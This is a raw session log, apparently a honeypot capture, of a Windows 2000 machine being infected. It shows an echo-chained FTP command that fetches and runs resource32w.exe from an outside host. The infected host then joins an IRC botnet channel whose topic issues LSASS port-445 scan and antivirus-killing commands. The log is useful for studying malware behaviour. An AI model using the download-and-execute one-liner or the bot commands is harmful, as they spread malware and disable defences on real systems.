VICTIM: Microsoft Windows 2000 [Version 5.00.2195] VICTIM: (C) Copyright 1985-2000 Microsoft Corp.C:\\WINNT\\system32> ATTACKER: echo open 85.127.158.6 14674>o&echo USER a>>o&echo a>>o&echo binary>>o&echo get resource32w.exe>>o&echo quit>>o&ftp -n -s:o&del o&resource32w.exe ATTACKER: 220 WinFtpd 1.2 VICTIM: USER a ATTACKER: 331 Password required VICTIM: PASS a ATTACKER: 230 User logged in. VICTIM: TYPE I ATTACKER: 200 Type set to I. VICTIM: PORT 192,168,1,45,4, ATTACKER: 200 PORT command successful. ATTACKER: RETR resource32w.exe ATTACKER: 150 Opening BINARY mode data connection ATTACKER: 226 Transfer complete. VICTIM: QUIT ATTACKER: 221 Goodbye. VICTIM: NICK [SOUL]541264USER aeshsrej 0 0 :[SOUL]541264 ATTACKER: :irc.celestial.org NOTICE AUTH :*** Looking up your hostname...:irc.celestial.org NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead ATTACKER: :irc.celestial.org NOTICE [SOUL]541264 :*** If you are having problems connecting due to ping timeouts, please type /quote pong FF20F9C9 or /raw pong FF20F9C9 now.PING :FF20F9C9 ATTACKER: PONG :FF20F9C9 ATTACKER: :irc.celestial.org 001 [SOUL]541264 :Welcome to the celestial IRC Network [SOUL]541264!aeshsrej@192.168.1.45:irc.celestial.org 002 [SOUL]541264 :Your host is irc.celestial.org, running version Unreal3.2.3:irc.celestial.org 003 [SOUL]541264 :This server was created Sun Mar 13 21:51:25 2005:irc.celestial.org 004 [SOUL]541264 irc.celestial.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj:irc.celestial.org 005 [SOUL]541264 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server:irc.celestial.org 005 [SOUL]541264 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVGCuzNSMTG NETWORK=celestial CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server:irc.celestial.org 251 [SOUL]541264 :There are 1 users and 272 invisible on 1 servers VICTIM: JOIN #hell troopers ATTACKER: :irc.celestial.org 252 [SOUL]541264 1 :operator(s) online:irc.celestial.org 253 [SOUL]541264 1 :unknown connection(s):irc.celestial.org 254 [SOUL]541264 4 :channels formed:irc.celestial.org 255 [SOUL]541264 :I have 273 clients and 0 servers:irc.celestial.org 265 [SOUL]541264 :Current Local Users: 273 Max: 3658:irc.celestial.org 266 [SOUL]541264 :Current Global Users: 273 Max: 786:irc.celestial.org 375 [SOUL]541264 :- irc.celestial.org Message of the Day - :irc.celestial.org 372 [SOUL]541264 :- 6/5/2005 13:50:irc.celestial.org 372 [SOUL]541264 :- celestial.org:irc.celestial.org 376 [SOUL]541264 :End of /MOTD command.:[SOUL]541264 MODE [SOUL]541264 :+iwx VICTIM: USERHOST [SOUL]541264MODE [SOUL]541264 +ixJOIN #hell troopersUSERHOST [SOUL]541264MODE [SOUL]541264 +ixJOIN #hell troopersUSERHOST [SOUL]541264MODE [SOUL]541264 +ixJOIN #hell troopers ATTACKER: :[SOUL]541264!aeshsrej@4A78F023.33569B8A.1A0AE753.IP JOIN :#hell:irc.celestial.org 332 [SOUL]541264 #hell :.advscan lsass_445 100 5 0 -b -r -s -z -q|.advscan lsass_445 100 10 0 x.x.x.x -r -z -s|.avfwkiller start -s:irc.celestial.org 333 [SOUL]541264 #hell MiStA_SimpAtiA 1214292586:irc.celestial.org 353 [SOUL]541264 @ #hell :[SOUL]541264 ~MiStA_SimpAtiA :irc.celestial.org 366 [SOUL]541264 #hell :End of /NAMES list. ATTACKER: :irc.celestial.org 302 [SOUL]541264 :[SOUL]541264=+aeshsrej@192.168.1.45 :irc.celestial.org 302 [SOUL]541264 :[SOUL]541264=+aeshsrej@192.168.1.45 :irc.celestial.org 302 [SOUL]541264 :[SOUL]541264=+aeshsrej@192.168.1.45